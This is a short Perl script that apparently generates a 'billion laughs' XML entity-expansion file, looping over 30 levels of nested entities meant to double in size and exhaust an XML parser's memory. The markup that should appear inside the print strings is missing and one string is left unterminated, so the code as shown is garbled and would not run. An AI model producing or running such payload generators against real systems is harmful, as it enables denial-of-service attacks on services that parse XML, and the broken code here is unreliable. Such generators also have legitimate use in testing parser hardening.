#!/usr/bin/perl

# number of entities is 2^30 if $entities == 30
$entities = 30;  
$i = 1;

open OUT, ">BillionLaughs.txt" or die "cannot open BillionLaughs.txt";

print OUT "\n";
print OUT ";
print OUT "\n";
print OUT "  \n";
for( $i=1; $i <= $entities; $i++ ) {
    printf OUT "  \n", $i, $i-1, $i-1;
}
print OUT "]>\n";
printf OUT "&ha%s;", $entities;